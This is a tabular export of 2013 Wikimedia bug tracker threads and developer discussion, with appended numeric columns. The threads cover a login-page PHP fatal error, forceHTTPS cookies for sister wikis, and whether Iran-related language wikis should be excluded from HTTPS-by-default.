+https://gerrit.wikimedia.org/r/80521",,,1377220648,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yjkzj3hbguehkqc54oi6,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+256773,Fatal error:  Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818,"Change 80521 had a related patch set uploaded by Reedy:
+Fatal error: Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818
+
+https://gerrit.wikimedia.org/r/80521",,,1377215386,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yjkzj3hbguehkqc54oi6,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+256764,Fatal error:  Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818,"Change 80520 had a related patch set uploaded by Reedy:
+Fatal error: Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818
+
+https://gerrit.wikimedia.org/r/80520",,,1377215369,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yjkzj3hbguehkqc54oi6,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+256755,Fatal error:  Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818,"[22-Aug-2013 23:25:26] Fatal error: Call to a member function formatDuration() on a non-object at /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php on line 818
+Server: mw1186
+Method: POST
+URL: http://login.wikimedia.org/w/index.php?title=Special:UserLogin&action=submitlogin&type=login
+Backtrace:
+#0 /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php(818): LoginForm::processLogin()
+#1 /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php(205): LoginForm->processLogin()
+#2 /usr/local/apache/common-local/php-1.22wmf14/includes/SpecialPage.php(631): LoginForm->execute(NULL)
+#3 /usr/local/apache/common-local/php-1.22wmf14/includes/SpecialPageFactory.php(489): SpecialPage->run(NULL)
+#4 /usr/local/apache/common-local/php-1.22wmf14/includes/Wiki.php(291): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
+#5 /usr/local/apache/common-local/php-1.22wmf14/includes/Wiki.php(585): MediaWiki->performRequest()
+#6 /usr/local/apache/common-local/php-1.22wmf14/includes/Wiki.php(459): MediaWiki->main()
+#7 /usr/local/apache/common-local/php-1.22wmf14/index.php(55): MediaWiki->run()
+#8 /usr/local/apache/common-local/w/index.php(3): require('/usr/local/apac...')
+#9 {main}
+--
+[22-Aug-2013 23:26:22] Fatal error: Call to a member function formatDuration() on a non-object at /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php on line 818
+Server: mw1052
+Method: POST
+URL: http://login.wikimedia.org/w/index.php?title=Special:UserLogin&action=submitlogin&type=login
+Backtrace:
+#0 /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php(818): LoginForm::processLogin()
+#1 /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php(205): LoginForm->processLogin()
+#2 /usr/local/apache/common-local/php-1.22wmf14/includes/SpecialPage.php(631): LoginForm->execute(NULL)
+#3 /usr/local/apache/common-local/php-1.22wmf14/includes/SpecialPageFactory.php(489): SpecialPage->run(NULL)
+#4 /usr/local/apache/common-local/php-1.22wmf14/includes/Wiki.php(291): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
+#5 /usr/local/apache/common-local/php-1.22wmf14/includes/Wiki.php(585): MediaWiki->performRequest()
+#6 /usr/local/apache/common-local/php-1.22wmf14/includes/Wiki.php(459): MediaWiki->main()
+#7 /usr/local/apache/common-local/php-1.22wmf14/index.php(55): MediaWiki->run()
+#8 /usr/local/apache/common-local/w/index.php(3): require('/usr/local/apac...')
+#9 {main}",,,1377215219,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-yjkzj3hbguehkqc54oi6,task_subcomment,,True,c2,2,True,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+55085,No forcehttps cookies for sister projects on AutoLogin,"When logging in, and wgSecureLogin is used, the forceHTTPS cookie (to have mediawiki redirect to https from an http call) isn't set for all SUL domains, only the project where the user is logging in.
+
+Need to add the forceHTTPS cookie, probably in the same place where we set the token cookie.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1376968620,1380298784.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-mrggh326wjh236my5dup,task_description,resolved,True,c2,2,True,False,True,-2,True,1,0,0,1,1,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+247592,No forcehttps cookies for sister projects on AutoLogin,"Since this seems to be fixed, and the dependent bugs too, let's close this now. Feel free to reopen if I'm mistaken.",,,1380298784,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-mrggh326wjh236my5dup,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+247587,No forcehttps cookies for sister projects on AutoLogin,I also opened the bug 53538 which can be considered as an other specific issue due to the fact wgCookiePrefix is language-specific.,,,1377793627,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-mrggh326wjh236my5dup,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+247583,No forcehttps cookies for sister projects on AutoLogin,"Second half of the patch was added as a bug by Seb35. Probably good to keep this as a tracking bug, and that one for the specific issue.",,,1377791228,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-mrggh326wjh236my5dup,task_subcomment,,True,c2,3,True,,,0,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+247581,No forcehttps cookies for sister projects on AutoLogin,"That patch only sets the cookies. Still need to clean up from them on logout, which requires touching every wiki. That will be a more complex patch.",,,1377733592,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-mrggh326wjh236my5dup,task_subcomment,,True,c2,3,True,,,0,True,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,1,0,0
+247576,No forcehttps cookies for sister projects on AutoLogin,"Change 81591 merged by jenkins-bot:
+Set forceHTTPS cookies for Autologin wikis
+
+https://gerrit.wikimedia.org/r/81591",,,1377729697,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mrggh326wjh236my5dup,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+247570,No forcehttps cookies for sister projects on AutoLogin,"Change 81591 had a related patch set uploaded by CSteipp:
+Set forceHTTPS cookies for Autologin wikis
+
+https://gerrit.wikimedia.org/r/81591",,,1377729473,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mrggh326wjh236my5dup,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+54846,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"**Author:** `popeno2003`
+
+**Description:**
+As was declared here:
+https://blog.wikimedia.org/2013/08/01/future-https-wikimedia-projects/
+and also said in Wikimania, wikimedia Websites are going to be HTTPS by default from 21 Aug.
+
+Wikimedia Websites are not accessible in Iran through HTTPS and Ryan Lane told me that there would be an exception for fa* websites which are mostly edited and used in Iran.
+
+After discussion with community, there were also another languages that are mostly used in Iran and wanted the same exception, I hereby enlist them here:
+
+fa*
+cbk*
+mzn*
+glk*
+ku*
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**Whiteboard**: https1308
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53144
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53739",High,80.0,1376488920,1377774592.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-i27sjuytpviwwt4tpsro,task_description,resolved,True,c2,2,False,False,True,-2,True,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+233768,HTTPS only Wikimedia problem for Iran Language related Wikipedias,I checked two ISPs and they both blocked SSL now. :|,,,1377836174,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0
+233763,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"I am not bullish. In Iran, anything is possible.",,,1377813538,,PHID-USER-iilvf4ivjgi76k3zu3cm,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+233758,HTTPS only Wikimedia problem for Iran Language related Wikipedias,We'd only re-enable it for iran specifically. We'll wait a couple days to make sure it isn't a short fluke.,,,1377812942,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+233753,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"Please don't enable it, today it works, but we can't guarantee tomorrow.
+Beside it, I can't guarantee other areas of Iran.",,,1377812475,,PHID-USER-iilvf4ivjgi76k3zu3cm,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+233748,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"Problem is sometimes this opening and closing doesn't last more than three hours. So When I say please wait, I mean one day or two at the most",,,1377803474,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,0
+233742,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"**popeno2003** wrote:
+
+I agree with Ryan on this, when they open the gates why not use it. I hope it last long. when not we need to add the exception.",,,1377801162,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+233735,HTTPS only Wikimedia problem for Iran Language related Wikipedias,Works for me.,,,1377800981,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0
+233730,HTTPS only Wikimedia problem for Iran Language related Wikipedias,I agree. No sense in throwing cleartext passwords if ssl is allowed. Should we make than config change and deploy during the 4pm window?,,,1377800495,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,True,,,0,True,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+233724,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"I'd say if it's allowed, let's enable it now. If that changes, let us know and we'll immediately disable it.",,,1377799166,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0
+233717,HTTPS only Wikimedia problem for Iran Language related Wikipedias,It seems Iran has opened SSL of WMF but there is no guarantee that Iran won't block it again. I think we need to wait for a while and see what will happen,,,1377797221,,PHID-USER-ctchvhisqfvk4rz7nt7d,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+233713,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"Yes, it works.",,,1377784481,,PHID-USER-iilvf4ivjgi76k3zu3cm,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+233708,HTTPS only Wikimedia problem for Iran Language related Wikipedias,Now in Iran https links  for wikipedia works,,,1377779477,,PHID-USER-dswbdv7ibhsefllcqarz,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+233702,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"(In reply to comment #0)
+> After discussion with community, there were also another languages that are
+> mostly used in Iran and wanted the same exception, I hereby enlist them here:
+
+For your information: An IRC user stated that excluding Iran would not be needed.
+I myself do not have enough information to judge (plus I am not involved in the SecureLogin deployment).
+
+Only __if__ Farsi (or any other language community in Iran) would like to see a change to the current policy of excluding the wiki from SecureLogin, please discuss with the community on your wiki, and see https://meta.wikimedia.org/wiki/Requesting_wiki_configuration_changes for more information. 
+Thanks for your understanding.",,,1377775055,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,True,,,0,True,1,0,0,1,1,1,1,0,0,1,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,1
+233696,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"This change took place yesterday, and Iran has been excluded as per https://meta.wikimedia.org/wiki/HTTPS#Excluded_Countries .
+
+CLosing as FIXED.",,,1377774592,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,3,True,,,0,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+233689,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"(In reply to comment #12 by Stefan2)
+> What about other languages predominantly spoken in China? There is a list at
+> [[m:Talk:HTTPS#Excluded language]] but I can't tell if the list is complete.
+
+Please ask on that talk page instead. I prefer to see such discussion and questions on the public talk page instead of a technical bugtracker.",,,1377075071,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,True,,,-1,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,1
+233681,HTTPS only Wikimedia problem for Iran Language related Wikipedias,Now all thing in order.,,,1377071409,,PHID-USER-iilvf4ivjgi76k3zu3cm,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-1,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+233675,HTTPS only Wikimedia problem for Iran Language related Wikipedias,See also [[m:Talk:HTTPS#List of Chinese Wikipedia]].,,,1377041551,,PHID-USER-zcvchmenkrawdr5233in,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+233667,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"(In reply to comment #11)
+> Updated list of initially excluded language wikis at:
+> https://meta.wikimedia.org/wiki/HTTPS#List_of_excluded_language_wikis
+
+What about other languages predominantly spoken in China? There is a list at [[m:Talk:HTTPS#Excluded language]] but I can't tell if the list is complete.",,,1377034732,,PHID-USER-zcvchmenkrawdr5233in,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-2,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+233660,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"Updated list of initially excluded language wikis at:
+https://meta.wikimedia.org/wiki/HTTPS#List_of_excluded_language_wikis",,,1377033946,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+233655,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"(In reply to comment #6)
+> There really should be no excluded languages; exposing our contributors to
+> MITM attacks and government spying is a disservice.
+What does ""MITM attacks and government spying"" mean when we can not contribute?",,,1377032535,,PHID-USER-iilvf4ivjgi76k3zu3cm,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-2,True,0,0,0,0,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+233652,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"(In reply to comment #6)
+> There really should be no excluded languages; exposing our contributors to
+> MITM attacks and government spying is a disservice.
+
+I agree that HTTP is a problem, but isn't it worse if several projects lose most of their contributors?",,,1377031346,,PHID-USER-zcvchmenkrawdr5233in,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-2,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,1,1,1
+233650,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"(In reply to comment #7)
+>If there are issues *now* for you then they are unrelated and a different problem.
+> Please elaborate.
+
+I don't know what is the problem but now I can not open any page on all Wikimedia projects; I only reported it.",,,1377030610,,PHID-USER-iilvf4ivjgi76k3zu3cm,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,False,,,-2,True,1,0,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+233648,HTTPS only Wikimedia problem for Iran Language related Wikipedias,"(In reply to comment #5 by Calak)
+> Now all WM projects are out of access except Meta, Commons, Incubator,
+> Bugzilla, MediaWiki and Wikidata projects.
+
+Uh? The SecureLogin deployment handled in this bug report is scheduled to take place in 22 hours, see https://wikitech.wikimedia.org/wiki/Deployments#Week_of_August_19th . If there are issues *now* for you then they are unrelated and a different problem. Please elaborate.",,,1377030183,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,True,,,-2,True,1,0,0,1,0,1,1,0,0,1,1,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,1
+233645,HTTPS only Wikimedia problem for Iran Language related Wikipedias,There really should be no excluded languages; exposing our contributors to MITM attacks and government spying is a disservice.,,,1377029472,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-i27sjuytpviwwt4tpsro,task_subcomment,,True,c2,2,True,,,-2,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
